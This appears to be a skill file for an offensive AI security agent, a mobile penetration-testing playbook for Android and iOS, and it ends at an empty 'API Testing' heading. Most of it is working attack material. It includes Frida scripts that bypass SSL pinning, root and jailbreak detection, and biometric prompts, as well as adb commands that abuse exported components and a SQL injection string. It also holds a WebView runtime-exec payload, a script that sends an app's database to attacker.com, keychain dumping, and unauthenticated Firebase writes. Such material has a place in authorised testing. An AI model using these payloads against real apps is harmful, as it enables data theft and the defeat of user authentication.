| name | mobile-pentest |
| description | Mobile application penetration testing — Android/iOS static/dynamic analysis, Frida instrumentation, SSL pinning bypass, root/jailbreak detection bypass, deep-link abuse, exported components, insecure storage, biometric bypass |
| metadata | {"type":"offensive","phase":"exploitation","platforms":"android, ios"} |
| kill_chain | {"phase":["recon","exploit"],"step":[1,4],"attck_tactics":["TA0043","TA0002"]} |
| depends_on | ["recon-osint","reverse-engineering"] |
| feeds_into | ["exploit-development"] |
| inputs | ["apk_file","ipa_file","mobile_endpoint"] |
| outputs | ["finding_record","mobile_vulnerability_list"] |
Mobile Application Penetration Testing
When to Activate
- Mobile app security assessment (Android/iOS)
- Bug bounty mobile triage
- App store reconnaissance
- Mobile malware/RAT analysis
Lab Setup
Android
- Rooted device or Genymotion / Android Studio AVD with
userdebug build
- Magisk for systemless root
- LSPosed for Xposed modules
- Frida server matching device architecture
- Burp / Mitmproxy with system-trusted CA via Magisk module (
MagiskTrustUserCerts)
iOS
- Jailbroken device (palera1n / checkra1n / Dopamine depending on iOS version)
- Frida + Objection + Filza + SSH via USB (iproxy 2222 22)
- Burp CA installed via Settings → General → Device Management → Certificate Trust Settings
Static Analysis
Android
apktool d app.apk -o app_decoded
jadx -d app_src app.apk
xmllint --format app_decoded/AndroidManifest.xml | less
grep -rE '(https?://[a-z0-9.-]+|api[_-]?key|secret|token|firebase|amazonaws|appspot)' app_src/
grep -r "Log\.[dwief]" app_src/
file app_decoded/lib/*/*.so
iOS
frida-ios-dump -o app.ipa "com.vendor.app"
bagbak com.vendor.app
unzip app.ipa
class-dump-dyld -H Payload/App.app/App -o headers/
strings -a Payload/App.app/App | grep -E '(https?://|key|secret|api)'
plutil -p Payload/App.app/Info.plist
Dynamic Analysis & Frida
SSL Pinning Bypass
Java.perform(() => {
const X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
const SSLContext = Java.use('javax.net.ssl.SSLContext');
const TrustManager = Java.registerClass({
name: 'com.sensepost.test.TrustManager',
implements: [X509TrustManager],
methods: {
checkClientTrusted(chain, authType) {},
checkServerTrusted(chain, authType) {},
getAcceptedIssuers() { return []; }
}
});
const TrustManagers = [TrustManager.$new()];
const SSLContext_init = SSLContext.init.overload(
'[Ljavax.net.ssl.KeyManager;', '[Ljavax.net.ssl.TrustManager;', 'java.security.SecureRandom'
);
SSLContext_init.implementation = function(keyManager, trustManager, secureRandom) {
SSLContext_init.call(this, keyManager, TrustManagers, secureRandom);
};
});
const SecTrustEvaluate = Module.findExportByName('Security', 'SecTrustEvaluate');
Interceptor.replace(SecTrustEvaluate, new NativeCallback((trust, result) => {
result.writeU32(1);
return 0;
}, 'int', ['pointer', 'pointer']));
Root/Jailbreak Detection Bypass
Java.perform(() => {
const File = Java.use('java.io.File');
File.exists.implementation = function () {
const path = this.getAbsolutePath();
if (path.includes('su') || path.includes('Magisk') || path.includes('magisk')) {
return false;
}
return this.exists();
};
const RootBeer = Java.use('com.scottyab.rootbeer.RootBeer');
RootBeer.isRooted.implementation = () => false;
});
const stat = Module.findExportByName(null, 'stat');
Interceptor.attach(stat, {
onEnter(args) {
const path = args[0].readUtf8String();
if (/Cydia|jailbreak|substrate|frida|sileo/i.test(path)) {
args[0] = Memory.allocUtf8String('/nonexistent');
}
}
});
const fopen = Module.findExportByName(null, 'fopen');
Interceptor.attach(fopen, {
onEnter(args) {
const path = args[0].readUtf8String();
if (/Cydia|jailbreak/i.test(path)) {
args[0] = Memory.allocUtf8String('/nonexistent');
}
}
});
Objection (Frida-based shortcuts)
objection -g com.app.package explore
android hooking watch class com.app.MainActivity
android hooking list activities
android intent launch_activity com.app.SecretActivity
android sslpinning disable
objection -g com.app.bundle explore
ios hooking watch class ViewController
ios sslpinning disable
ios jailbreak disable
ios keychain dump
Exported Components (Android)
Attack Surface Enumeration
adb shell dumpsys package com.app.package | grep -A 5 "android.intent.action"
grep -E 'android:exported="true"|intent-filter' AndroidManifest.xml
Activity Exploitation
adb shell am start -n com.app.package/.SecretActivity
adb shell am start -n com.app.package/.WebViewActivity \
--es url "file:///data/data/com.app.package/databases/secrets.db"
Service Exploitation
adb shell am startservice -n com.app.package/.VulnerableService
adb shell am startservice -n com.app.package/.CommandService \
--es command "cat /data/data/com.app.package/shared_prefs/secrets.xml"
Broadcast Receiver
adb shell am broadcast -a com.app.package.CUSTOM_ACTION \
--es data "malicious_payload"
Content Provider
adb shell content query --uri content://com.app.package.provider/users
adb shell content insert --uri content://com.app.package.provider/users \
--bind username:s:admin --bind password:s:hacked
adb shell content query --uri "content://com.app.package.provider/users?id=1' OR '1'='1"
Deep Links & URL Schemes
Android Deep Links
adb shell am start -W -a android.intent.action.VIEW \
-d "myapp://secret/admin?token=stolen"
iOS URL Schemes
xcrun simctl openurl booted "myapp://secret/admin?token=stolen"
Insecure Data Storage
Android
adb shell cat /data/data/com.app.package/shared_prefs/*.xml
adb pull /data/data/com.app.package/databases/
sqlite3 app.db "SELECT * FROM users;"
adb shell ls -la /data/data/com.app.package/files/
adb shell ls /sdcard/Android/data/com.app.package/
iOS
cat /var/mobile/Containers/Data/Application/<UUID>/Library/Preferences/com.app.bundle.plist
keychain_dumper -a
ls -la /var/mobile/Containers/Data/Application/<UUID>/Documents/
ls -la /var/mobile/Containers/Data/Application/<UUID>/Library/
WebView Vulnerabilities
Android JavaScriptInterface
webView.addJavascriptInterface(new JSBridge(), "JSBridge");
<script>
JSBridge.getClass().forName('java.lang.Runtime')
.getMethod('exec', String).invoke(
JSBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),
'id'
)
</script>
file:// Access
adb shell am start -n com.app/.WebViewActivity \
--es url "file:///sdcard/malicious.html"
<script>
fetch('file:///data/data/com.app.package/databases/secrets.db')
.then(r => r.text())
.then(data => fetch('https://attacker.com/exfil?data=' + btoa(data)));
</script>
Biometric Bypass
Android BiometricPrompt
Java.perform(() => {
const Callback = Java.use('androidx.biometric.BiometricPrompt$AuthenticationCallback');
Callback.onAuthenticationSucceeded.implementation = function (result) {
console.log('[+] Biometric bypassed');
return this.onAuthenticationSucceeded(result);
};
Callback.onAuthenticationFailed.implementation = function () {
console.log('[+] Ignoring auth failure');
};
});
iOS LAContext
const LAContext = ObjC.classes.LAContext;
Interceptor.attach(LAContext['- evaluatePolicy:localizedReason:reply:'].implementation, {
onEnter(args) {
const block = new ObjC.Block(args[4]);
const original = block.implementation;
block.implementation = function(success, error) {
console.log('[+] Biometric bypassed');
original.call(this, true, NULL);
};
}
});
Firebase / Cloud Misconfig
curl https://app-name.firebaseio.com/.json
curl -X PUT -d '{"hacked":true}' https://app-name.firebaseio.com/test.json
aws s3 ls s3://bucket-name --no-sign-request
API Testing